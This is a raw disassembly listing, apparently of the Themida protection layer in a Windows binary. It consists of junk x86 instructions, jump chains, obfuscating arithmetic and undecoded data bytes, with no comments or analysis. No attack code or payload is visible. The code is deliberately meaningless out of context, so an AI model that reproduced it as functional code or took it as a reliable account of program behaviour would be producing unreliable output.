		dd 0F3682404h, 89000022h, 5E542434h, 4B951h, 0E9510000h
		dd 0FFFF8B31h, 24048966h, 8904EC83h, 0ECB62414h, 516EC680h
		dd 3EE9F188h, 81FFFFC8h, 3DAE6BF7h, 5FFE8918h, 5C77CE81h
		dd 0BA527772h, 7F777C7Bh, 0E95AD629h, 0FFFF5B0Eh, 4C481h
		dd 1C870000h, 24248B24h, 0FF6493E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EA19:				; CODE XREF: Themida_:00544D55j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_54ED6D
; ---------------------------------------------------------------------------
		db 0BDh
		dd 197629D1h, 0EDD4E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EA32:				; CODE XREF: Themida_:0054573Ej
		mov	esp, [esp]
		jmp	loc_54FD3E
; ---------------------------------------------------------------------------
aQrXTvbt	db 'QRşĺ`âvâ ',0
		db 81h,	15h, 0C1h
		dd 0EAC107EAh, 87CA8102h, 420A4C3Ch, 4524EA81h,	0D189EF20h
		dd 244C015Ah, 240C8B04h, 4C481h, 0B9510000h, 27D11F65h
		dd 4244C01h, 24048159h,	4C540C33h, 81240401h, 0C33242Ch
		dd 2C814C54h, 0D11F6524h, 0BB535027h, 1B2E3764h, 7F568h
		dd 241C8900h, 0FFCACEE9h, 2434FFFFh, 0E92434FFh, 0FFFF682Fh
		dd 0BBh, 0E9CB0100h, 0FFFFBB21h
; ---------------------------------------------------------------------------

loc_54EAB8:				; CODE XREF: Themida_:00548442j
		push	ebx
		push	eax
		mov	al, 62h
		push	ecx
		jmp	loc_549F31
; ---------------------------------------------------------------------------
		dw 0C509h
		dd 7A67E958h, 0F589FFFFh, 0C4E9595Eh, 57FFFFB0h, 0D32FABBFh
		dd 0C7814F55h, 71811418h, 0BC40C781h, 0FD8938ABh, 0E9EE015Fh
		dd 0FFFF5DC4h, 69E96B04h, 51FFFF68h, 11E95954h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54EAFF:				; CODE XREF: Themida_:0054D89Aj
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_54A1B4
; ---------------------------------------------------------------------------
		dw 489h
		dd 0A1C4E924h, 0E181FFFFh, 265935C8h, 8105E1C1h, 2E3BD1E1h
		dd 12E98107h, 299D33EAh, 0CE0159CEh, 36EEC681h,	685964CEh
		dd 3733h, 0BD242C89h, 2, 0FFC6F4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EB49:				; CODE XREF: Themida_:00549D07j
		pop	esp
		add	eax, ebx
		pop	ebx
		jmp	loc_54A2F8
; ---------------------------------------------------------------------------

loc_54EB52:				; CODE XREF: Themida_:00548A4Dj
		mov	ebp, esp
		jmp	loc_545ECA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 1E68EF81h, 0B8500A0Ah, 2B385413h, 0FFA62FE9h, 815F54FFh
		dd 4C7h, 2C78100h, 83000000h, 0BCE904ECh, 0ACFFFF68h, 5352D830h
		dd 0E9508CB7h, 0FFFFE0B2h, 0FF548DE9h, 4C281FFh, 81000000h
		dd 4ECh, 241C8900h, 4EC81h, 3C890000h, 2BF24h, 0FB890000h
		dd 0FF8A44E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EBB9:				; CODE XREF: Themida_:0054E71Fj
		mov	[esp], esi
		push	16FC26FFh
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 0F5CCDC00h
		mov	eax, esi
		pop	esi
		jmp	loc_54BA08
; ---------------------------------------------------------------------------
		dd 2434FF54h, 4C4815Bh,	55000000h, 4BDh, 0E9EB0100h, 0FFFFD47Bh
		dd 1ED8166h, 0E5816601h, 81665449h, 666FA6E5h, 251BC581h
		dd 4EC81h, 7CE90000h, 52FFFF9Fh, 0D028EFB2h, 8124148Bh
		dd 4C4h, 28800400h, 80B151D8h, 0C8285F2Ch, 66595F04h, 0E93DBD68h
		dd 0FFFFB719h, 42474FFh, 0FF9467E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EC3D:				; CODE XREF: Themida_:0054A5FBj
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebp
		push	esi
		mov	esi, 278B734Ch
		or	esi, 67825B92h
		push	edi
		mov	edi, 231031F7h
		sub	esi, edi
		pop	edi
		push	eax
		push	esi
		mov	esi, 3F905F16h
		shl	esi, 3
		shr	esi, 1
		sub	esi, 9FF0721h
		mov	eax, esi
		pop	esi
		shl	eax, 3
		jmp	loc_547499
; ---------------------------------------------------------------------------
		dd 2434FF54h, 0FF8049E9h, 0C8B66FFh, 49E95024h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EC8F:				; CODE XREF: Themida_:0054ED2Fj
		xor	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 533D6C4Dh
		jmp	loc_54BEFE
; ---------------------------------------------------------------------------
		db 58h,	87h, 14h
		dd 24248B24h, 2424D366h, 5370E99Ch, 8B66FFFFh, 5453240Ch
		dd 0D67E9h
		db 0
; ---------------------------------------------------------------------------

loc_54ECBD:				; CODE XREF: Themida_:00549B6Bj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_547A49
		mov	dword ptr [edi+20h], 38090F14h
		shr	dword ptr [edi+20h], 1
		shl	dword ptr [edi+20h], 4
		shl	dword ptr [edi+20h], 6
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_546BA8
; ---------------------------------------------------------------------------
		dd 4C1815Dh, 87000000h,	0E95C240Ch, 0DD2h, 8705E7C1h, 14F755EFh
		dd 0EF875D24h, 5347CF81h, 0EF812894h, 0FAF7D3DBh, 0D5E9F901h
		dd 1FFFF67h, 0FF5758C7h, 5F042474h, 5C24048Fh, 9C240401h
		dd 0FF52F9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54ED29:				; CODE XREF: Themida_:005476FBj
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_54EC8F
; ---------------------------------------------------------------------------
		dd 57242489h, 4BFh, 0F5BE5600h,	295BBF30h, 5E082474h, 4246C81h
		dd 66DD24EEh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 436E2128h
		jmp	loc_54FB1C
; ---------------------------------------------------------------------------

loc_54ED6D:				; CODE XREF: Themida_:0054EA22j
		add	ebp, 4
		jmp	loc_54D522
; ---------------------------------------------------------------------------
		db 31h,	3Ch, 24h
		dd 5C243C33h, 24048B66h, 73DA68h, 242C8900h, 0C581E589h
		dd 4, 8904EC83h, 3EE9241Ch, 21FFFF97h, 0BA5258C3h, 0FFFFFFFFh
		dd 815AD329h, 200865F3h, 5BD8012Ch, 0FFBAABE9h,	5FF829FFh
		dd 31240433h, 1FE92404h, 0E9FFFF57h, 0FFFF525Ah, 7D139DBFh
		dd 4A096827h, 3C890000h, 24048124h, 8E656DDh, 0DDED815Dh
		dd 0E908E656h, 0FFFF596Eh
; ---------------------------------------------------------------------------

loc_54EDE8:				; CODE XREF: Themida_:00545CBCj
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5445D5
; ---------------------------------------------------------------------------

loc_54EDF9:				; CODE XREF: Themida_:0054FF1Cj
		mov	edi, 346461C9h
		inc	edi
		not	edi
		jmp	loc_54FE8B
; ---------------------------------------------------------------------------
		dw 8951h
		dd 4C181E1h, 81000000h,	4C1h, 240C8700h, 9DB9515Ch, 4130D927h
		dd 0FFD0BFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EE25:				; CODE XREF: Themida_:0054E3ABj
		add	cl, bl
		pop	ebx
		sub	al, 50h
		jmp	loc_547EB0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 4EC8357h, 0BB241C89h,	4A64651Fh, 0FFC38343h
		dd 0ABE3C381h, 0DF89F36Bh, 7B0FE95Bh, 0C481FFFFh, 4, 6EDFE955h
		dd 835FFFFFh, 0C3304C1h, 240C3124h, 0FF8EF9E9h,	4BBFFh
		dd 0D8010000h, 83241C8Bh, 43304C4h, 24043124h, 8B240433h
		dd 92682424h, 89000025h, 0E9572404h, 0FFFF5CA0h, 402AE981h
		dd 0CE212E00h, 14BE9h, 814E4600h, 484C5FC6h, 0E510E952h
		dd 0C89FFFFh, 7BE6E924h, 0F868FFFFh, 0E9000047h, 0FFFFF70Ch
		dd 0E9243489h, 0FFFFCFA1h
; ---------------------------------------------------------------------------

loc_54EECC:				; CODE XREF: Themida_:0054C553j
		jmp	loc_544022
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 8Ch
		dd 5EFFFF91h, 126668h, 5EC0E900h, 3166FFFFh, 0E99C2404h
		dd 0FFFF5136h, 42474FFh, 0D2D5E95Dh, 7F88FFFFh,	241C8B38h
		dd 0FF04C483h, 148B2434h, 4C48124h, 51000000h, 5DE9E189h
		dd 50FFFFD8h, 1331BF57h, 0EF834BE7h, 30C781FFh,	5235FD2Dh
		dd 9A7EE5BAh, 5AD7092Dh, 9EF814Fh, 817ED138h, 2A13F7F7h
		dd 0E9F8890Ch, 0FFFF5C7Bh
; ---------------------------------------------------------------------------

loc_54EF40:				; CODE XREF: Themida_:005473C7j
		mov	al, 0BAh
		add	al, 25h
		sub	al, 0F1h
		sub	bl, 89h
		add	bl, al
		add	bl, 89h
		mov	ax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp]
		jmp	loc_5493B1
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 47E95524h, 59FFFF6Ch, 0FFD94CE9h, 3DEFBAFFh,	0C28155F5h
		dd 5254485Eh, 65A5BD55h, 17E94843h, 0F7FFFF7Bh,	87D387D2h
		dd 77E951DEh, 0FEFFFFD1h, 11F480CCh, 0EBE9E320h, 5AFFFFACh
		dd 0FFA0A9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EFAD:				; CODE XREF: Themida_:005475A3j
		pop	ecx
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_544188
; ---------------------------------------------------------------------------
		db 51h,	0B9h, 4Fh
		dd 81320B0Ch, 0D9DE73E9h, 59CD313Bh, 0E95DE829h, 0FFFF5052h
; ---------------------------------------------------------------------------

loc_54EFD0:				; CODE XREF: Themida_:00545B18j
		push	edi
		mov	edi, 30865D68h
		push	ecx
		push	edx
		mov	edx, 1DC755C2h
		or	edx, 6225295Bh
		not	edx
		xor	edx, 976BADACh
		jmp	loc_54AF9E
; ---------------------------------------------------------------------------
		dd 0B5A2E959h, 489FFFFh, 5E08924h, 4, 8704C083h, 248B2404h
		dd 0E1B5E924h, 9805FFFFh, 10F971Eh, 703FE9C8h, 65B3FFFFh
		dd 47C380h, 0D5305BDAh,	2FED805Ah, 0C8BE828h, 4C48124h
		dd 53000000h, 9D3AE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F03A:				; CODE XREF: Themida_:0054FB54j
		push	edx
		push	esi
		jmp	loc_547730
; ---------------------------------------------------------------------------
		db 66h,	0F7h, 0DEh
		dd 0A66E9h, 73063500h, 0E1056190h, 0C1553815h, 653506E8h
		dd 0E92E10FBh, 0FFFF9EC9h, 873862D1h, 8745386Ah, 62C1386Ah
		dd 42810738h, 76C4E138h, 386281C3h, 383B49A4h, 50384AFFh
		dd 538BBA52h, 0C3B84C07h, 54C0753h, 13A56621h, 0BD55D029h
		dd 4D047597h, 3FB6CD81h, 0F5814FEEh, 21D962F1h,	0B725ED81h
		dd 8AE95A91h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F0AF:				; CODE XREF: Themida_:0054C33Aj
		mov	[esp], ebp
		push	ecx
		mov	ecx, 6D717622h
		inc	ecx
		sub	ecx, 1
		shr	ecx, 6
		xor	ecx, 0AB7CCEEh
		push	ecx
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		mov	ecx, 3B353C98h
		add	ecx, 0A4A3976h
		not	ecx
		push	edx
		mov	edx, 601C73CEh
		add	ecx, edx
		pop	edx
		jmp	loc_5457F3
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 586944D1h, 0FFBFF2E9h, 8AE95AFFh, 68FFFFA8h,	207Dh
		dd 0C58E9h, 0CF6800h, 4890000h,	845B424h, 24048BE5h, 8004C483h
		dd 9CE9C1CDh
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54DF74
; ---------------------------------------------------------------------------

loc_54F131:				; CODE XREF: Themida_:0054E513j
		mov	edx, [esp]
		jmp	loc_54B435
; ---------------------------------------------------------------------------
		db 5Eh,	83h, 0C7h
		dd 243C8704h, 5724248Bh, 0FF2434FFh, 685A2434h,	71D4h
		dd 0E9241C89h, 0FFFF787Bh, 240C8B66h, 0FFB59CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F161:				; CODE XREF: Themida_:00544511j
		xor	esi, 779076DAh
		jmp	loc_549A3E
; ---------------------------------------------------------------------------
		dd 46E9D5F7h, 81FFFFFEh, 62CB242Ch, 3C293AB4h, 24048124h
		dd 3AB462CBh, 36EF815Fh, 0E9197D40h, 0FFFFBE15h
; ---------------------------------------------------------------------------

loc_54F190:				; CODE XREF: Themida_:0054656Fj
		xor	ebx, ecx
		xor	ecx, ebx
		jmp	loc_54BEEC
; ---------------------------------------------------------------------------
		db 0E9h, 84h, 4Eh
		dd 0EDB8FFFFh, 4849711Ch, 0FF5B08E9h, 0E08950FFh, 0FFEC4BE9h
		dd 0EB015FFFh, 1E18EB81h, 2C8B1DA7h, 4C48124h, 1000000h
		dd 6CEB81C3h, 51747575h, 0FF9CA7E9h, 2434FFFFh,	5024048Bh
		dd 405E089h, 5000000h, 4, 8B240487h, 89562424h,	4C681E6h
		dd 51000000h, 0FF5B49E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F1F9:				; CODE XREF: Themida_:0054F330j
		push	small 763h
		mov	[esp], cx
		mov	ch, bh
		not	ch
		push	eax
		mov	al, ch
		mov	bh, al
		pop	eax
		jmp	loc_547109
; ---------------------------------------------------------------------------
		dd 79E9EE89h, 0C1FFFFD3h, 930D05E0h, 519BD43h, 0E642A411h
		dd 8158C589h, 0AC7A14EEh, 0A4EE814Dh, 12B1B64h,	0A4C681EEh
		dd 812B1B64h, 0AC7A14C6h, 78E95D4Dh, 66FFFF9Ch,	4246C29h
		dd 1665D66h, 0E902244Ch, 0FFFF90B9h
; ---------------------------------------------------------------------------

loc_54F258:				; CODE XREF: Themida_:00546BE3j
		sub	esp, 4
		jmp	loc_549386
; ---------------------------------------------------------------------------
		dd 0B1515266h, 0E1CE945h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F26A:				; CODE XREF: Themida_:0054A749j
		mov	eax, [esp]
		jmp	loc_544A5B
; ---------------------------------------------------------------------------

loc_54F272:				; CODE XREF: Themida_:00544B5Aj
		mov	[esp], esi
		push	20000h
		mov	esi, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_548EAA
; ---------------------------------------------------------------------------
		db 0B7h
		dd 66FA0838h, 96CA805Bh, 9EEE9h, 5EF13100h, 0C8BCE21h
		dd 4C48324h, 0FFE996E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F2A9:				; CODE XREF: Themida_:0054C3A6j
		shl	dl, 7
		jmp	loc_545BCC
; ---------------------------------------------------------------------------
		db 80h,	0F1h, 0AAh
		dd 0FF59C828h, 0E95A2434h, 0FFFFDBE8h, 807AB151h, 0C1FE94E1h
		dd 8088E180h, 0C48008F1h, 80CC0004h, 285904ECh,	0E95558E3h
		dd 0FFFF56A7h, 0E924048Bh, 0FFFFDD36h, 24048B66h, 129F68h
		dd 0C0DAE900h, 5401FFFFh, 8B5A0424h, 2D68243Ch,	8900007Ch
		dd 0E0892404h, 405h, 6ED1E900h,	0BE56FFFFh, 4, 0FF6159E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F31D:				; CODE XREF: Themida_:00545806j
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		push	eax
		jmp	loc_54BEDE
; ---------------------------------------------------------------------------

loc_54F32B:				; CODE XREF: Themida_:0054C10Dj
		mov	bh, 0BDh
		sub	bh, 1
		jmp	loc_54F1F9
; ---------------------------------------------------------------------------
		db 56h,	68h, 2
		dd 5E000000h, 335EF301h, 1C31241Ch, 241C3324h, 6624248Bh
		dd 9C2404FFh, 0FF983EE9h, 0E78957FFh, 4C781h, 0EF810000h
		dd 4, 6CE068h, 243C8900h, 0FFCFCEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F371:				; CODE XREF: Themida_:0054A9A2j
		sub	esp, 4
		mov	[esp], esi
		mov	eax, [esp]
		push	937h
		mov	[esp], ebx
		push	esp
		pop	ebx
		sub	esp, 4
		jmp	loc_54615D
; ---------------------------------------------------------------------------

loc_54F392:				; CODE XREF: Themida_:0054C502j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_54D679
; ---------------------------------------------------------------------------
		db 52h
		dd 0D76003BAh, 1C28372h, 0FFFFEA81h, 0EAC1FFFFh, 0CAF28103h
		dd 816E7FF6h, 665AB1EEh, 0E9D60144h, 0FFFF5A52h, 31240433h
		dd 4332404h, 24248B24h,	0FFC4D0E9h, 241C31FFh, 8B241C33h
		dd 9662424h, 0E99C2404h, 0FFFF544Fh, 99EA8159h,	176274Eh
		dd 99C281F2h, 5E76274Eh, 0E902C283h, 0FFFFCB2Bh
; ---------------------------------------------------------------------------

loc_54F3FC:				; CODE XREF: Themida_:00544B10j
		inc	edx
		sub	edx, 0CEDCF9C8h
		add	ebp, edx
		jmp	loc_5476F4
; ---------------------------------------------------------------------------
		dd offset dword_457444+2F924h
		dw 0E900h
		dd 0FFFFA363h
; ---------------------------------------------------------------------------

loc_54F414:				; CODE XREF: Themida_:0054E4CCj
		add	dword ptr [esp], 1
		mov	eax, [esp]
		add	esp, 4
		shr	eax, 2
		push	ebp
		mov	ebp, 3A065089h
		xor	eax, ebp
		pop	ebp
		push	eax
		add	dword ptr [esp], 3DCA171Fh
		jmp	loc_548E1B
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 4BDCE95Ch, 0BF57FFFFh, 2DEB7F88h, 0E908EFC1h, 0FFFF7448h
		dd 8B5AD601h, 0C481243Ch, 4, 68h, 241C8B00h, 0C386E950h
		dd 8951FFFFh, 0B093E9E1h, 2489FFFFh, 24048124h,	4, 8124148Bh
		dd 4C4h, 0C8D7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F48E:				; CODE XREF: Themida_:0054B35Aj
		pop	edx
		jmp	loc_5470F3
; ---------------------------------------------------------------------------
		dd 0EC8355ADh, 240C8904h, 0AA43FFB9h, 0BCC98121h, 8145E64Eh
		dd 441609C1h, 0A3F7E90Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F4B2:				; CODE XREF: Themida_:00546FB2j
		xor	esi, edx
		jmp	loc_54DD5A
; ---------------------------------------------------------------------------

loc_54F4B9:				; CODE XREF: Themida_:00547E7Ej
		mov	ebp, 1
		add	ebx, ebp
		pop	ebp
		add	ebx, 4D1BB2B7h
		mov	edx, ebx
		mov	ebx, [esp]
		push	edx
		jmp	loc_5461C8
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 8158C601h,	0AE644FC6h, 4EC8303h, 0B8240489h
		dd 96C47D9h, 6C685255h,	5A3A924Eh, 7E2C14Ah, 315FC281h
		dd 0D589BEBEh, 3A1E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F506:				; CODE XREF: Themida_:0054F592j
		mov	ch, 0D5h
		add	ch, 1
		add	ch, 1
		dec	ch
		sub	ch, 0B3h
		sub	dh, ch
		pop	ecx
		xor	dh, 19h
		add	bl, dh
		jmp	loc_54AED5
; ---------------------------------------------------------------------------
		dd 24148B66h, 48B5450h,	4C48324h, 46851h, 1590000h, 525759C8h
		dd 0FFF414E9h, 0E38953FFh, 8904EC83h, 1868240Ch, 8900007Dh
		dd 62682404h, 58276F5Dh, 46BFBF57h, 0F8016444h,	0FFE905E9h
		dd 240489FFh, 0FFCEA6E9h, 9DF281FFh, 2160BB72h,	0A23E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F576:				; CODE XREF: Themida_:0054E042j
		add	ecx, edx
		sub	ecx, 32F473F6h
		jmp	loc_548D43
; ---------------------------------------------------------------------------
		db 21h
		dd 0F7E95AD5h, 56FFFFDDh, 0FF6FCDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F591:				; CODE XREF: Themida_:00544A6Ej
		push	ecx
		jmp	loc_54F506
; ---------------------------------------------------------------------------
		db 0ADh
		dd 0FFD20CE9h, 0E08950FFh, 8FB95156h, 0E91E5B0Fh, 0FFFF5AAEh
		dd 9D791A2Dh, 5F0017Eh,	7E9D791Ah, 0FFD810E9h, 3F281FFh
		dd 31977EDAh, 24148BD0h, 0FFD87CE9h, 0E95F54FFh, 0FFFFDBDEh
		dd 0A0753768h, 24348B11h, 0E904C483h, 0FFFF61C1h, 4C5815Dh
		dd 81000000h, 4EDh, 242C3300h, 33242C31h, 895C242Ch, 0C2882414h
		dd 0FF82C6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F605:				; CODE XREF: Themida_:0054A73Cj
		shl	ch, 4
		shl	ch, 6
		not	ch
		add	ch, 54h
		push	ax
		mov	ah, 0CCh
		add	ch, ah
		pop	ax
		jmp	loc_54D779
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 4C4835Bh, 0C281C229h, 1D157B2Dh, 0FF49F1E9h,	24048FFFh
		dd 5DEB015Ch, 3EEFEB81h, 82E90348h, 81FFFF54h, 0D24C00EEh
		dd 0BEE95D11h, 54000005h, 0E924048Fh, 0FFFF4A6Eh
; ---------------------------------------------------------------------------

loc_54F658:				; CODE XREF: Themida_:0054F997j
		shr	ecx, 0Ah
		push	ecx
		sub	esp, 4
		jmp	loc_54F9C9
; ---------------------------------------------------------------------------

loc_54F664:				; CODE XREF: Themida_:00548DE6j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		push	edi
		jmp	loc_5467F1
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 0FFFF64B9h, 243C895Ch, 0BB53E789h, 3CE57149h
		dd 165CBF57h, 4DE96BCEh, 0B9FFFFA1h, 4,	0C8BCF01h, 4C48124h
		dd 81000000h, 4C7h, 243C8700h, 0BD555Ch, 0E90D0936h, 0FFFF4CC5h
		dd 4FEBBF57h, 4F472EA4h, 506DC781h, 0C78131B1h,	0F5BF786Eh
		dd 815FFB01h, 0FC7FD2C3h, 51926866h, 5AE90000h,	5CFFFFEFh
		dd 22C468h, 24348900h, 49E95E54h, 68FFFF4Bh, 7921h, 0E9240C89h
		dd 0FFFF8A53h, 5C240487h, 0E9FDCA80h, 0FFFFB51Bh, 5704C483h
		dd 0FB89F789h, 0FF5C6FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F729:				; CODE XREF: Themida_:0054B102j
		push	1FB2h
		mov	[esp], ebx
		mov	bl, 40h
		sub	al, bl
		jmp	loc_5444DA
; ---------------------------------------------------------------------------

loc_54F73A:				; CODE XREF: Themida_:00545566j
		jmp	loc_544022
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8324348Bh, 0C68104C4h, 4, 5604C683h,	0FFB4A1E9h, 0E9432CFFh
		dd 0FFFF6DA5h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_547021
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 3ADD0726h, 0E95BDF31h, 0FFFF9CBAh, 0E28002B2h, 54EA80A9h
		dd 0CA80D2F6h, 58F9E92Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F78A:				; CODE XREF: Themida_:00548D05j
		pop	eax
		add	esp, 4
		add	esp, 4
		push	ecx
		mov	ecx, edx
		mov	eax, ecx
		pop	ecx
		jmp	loc_549067
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0BA525155h, 624A3627h, 0DAF7D2F7h, 7D31CA81h, 0E2813033h
		dd 705D79B7h, 792DEA81h, 0D1897059h, 0CE89565Ah, 0FFF301E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F7C9:				; CODE XREF: Themida_:0054AEA9j
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	ecx, 0
		or	eax, eax
		jz	loc_547B5B
		push	3D0Dh
		mov	[esp], ebx
		push	7D36h
		jmp	loc_54B6BF
; ---------------------------------------------------------------------------
		dd 5124048Bh, 0FFD812E9h, 81E589FFh, 4C5h, 4C58100h, 87000000h
		dd 0E95C242Ch, 0FFFF4812h, 4C181h, 0E9830000h, 76EAE904h
		dd 8358FFFFh, 0E902C1h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54F827:				; CODE XREF: Themida_:00547B72j
		sub	ebp, 6F3F6181h
		jmp	loc_5497C4
; ---------------------------------------------------------------------------

loc_54F832:				; CODE XREF: Themida_:0054D405j
		mov	edi, 4
		sub	ebx, 3B28615Dh
		add	ebx, 135717F7h
		add	ebx, edi
		sub	ebx, 135717F7h
		push	edi
		mov	edi, 3B28615Dh
		add	ebx, edi
		jmp	loc_54DCEF
; ---------------------------------------------------------------------------
		dd 6950E952h, 0BB53FFFFh, 2, 875BD801h,	0E95C2404h, 0FFFF545Bh
		dd 8B24048Fh, 0A7E92424h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F87B:				; CODE XREF: Themida_:0054D5A5j
		mov	edx, 4
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	esi
		jmp	loc_54AF6F
; ---------------------------------------------------------------------------
		dd 0C5FE5966h, 6608E5C0h, 0F3B55153h, 86E9EF88h, 29FFFF4Bh
		dd 48405DE8h, 0BF657A2Dh, 7C8FE94Eh, 4BDFFFFh, 81000000h
		dd 0B104246Ch, 0E961777Ah, 0FFFFCB32h, 0B33842C7h, 0F73CAE0Ah
		dd 89E9385Ah
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F8D7:				; CODE XREF: Themida_:0054D1ADj
		sub	ebp, ecx
		mov	ecx, ebp
		pop	ebp
		push	esi
		jmp	loc_54AEE6
; ---------------------------------------------------------------------------
		dw 0A72Dh
		dd 0E9413B6Ch, 0FFFFAC57h, 4BE56h, 0F5010000h, 1DF3685Eh
		dd 2C890000h, 0F5EAE924h, 0F581FFFFh, 53ECD23Ah, 6CE9EA01h
		dd 48FFFF83h, 0FFE800E9h, 0DE315FFFh, 0E9F0295Bh, 0FFFF62F0h
		dd 9D6FE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F926:				; CODE XREF: Themida_:0054E0CAj
		mov	ebp, 521862C9h
		push	ecx
		jmp	loc_5470CD
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FFA8C1E9h, 4C483FFh, 0FF5CF5E9h, 809CB2FFh,	9CE9EBC2h
		dd 21FFFF64h, 241C8BD9h, 5604C483h, 0AB73E7BEh,	46E68145h
		dd 8129A777h, 0E064E7C6h, 2EEC110h, 44C68146h, 2144ED5Eh
		dd 53495EF1h, 0E300EBBh, 5BD92116h, 687FE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F982:				; CODE XREF: Themida_:0054D7AEj
		shl	edx, 8
		xor	edx, 79389D01h
		sub	edi, edx
		pop	edx
		add	edi, 0C394F1F2h
		and	ecx, edi
		pop	edi
		jmp	loc_54F658
; ---------------------------------------------------------------------------
		dd 8304C483h, 0C1E904C4h, 0B9FFFF9Bh, 17C14EBCh, 7283F181h
		dd 0CB291DEAh, 5BDD0159h, 13ECBF57h, 0CF871529h, 0CF87D1F7h
		dd 0FFA98DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F9C9:				; CODE XREF: Themida_:0054F65Fj
		mov	[esp], ebx
		jmp	loc_547592
; ---------------------------------------------------------------------------
		db 31h,	1Ch, 24h
		dd 5C241C33h, 89241489h, 4C281E2h, 51000000h, 4B9h, 59CA0100h
		dd 0FF726BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F9F1:				; CODE XREF: Themida_:00546658j
		push	edx
		push	eax
		jmp	loc_547F3A
; ---------------------------------------------------------------------------
		dd 690868h, 24048900h, 7E1BE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FA06:				; CODE XREF: Themida_:0054FA85j
		mov	edi, 125F22B1h
		add	esi, edi
		pop	edi
		jmp	loc_54958B
; ---------------------------------------------------------------------------

loc_54FA13:				; CODE XREF: Themida_:0054E55Dj
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	ecx
		pop	eax
		jmp	loc_545881
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 0B9F0E900h,	0E2C1FFFFh, 0E3E95306h
		dd 59FFFFE8h, 4C6815Eh,	55000000h, 4BDh, 6840E900h, 0B850FFFFh
		dd 265913F8h, 14D5BA52h, 8CE9326Dh
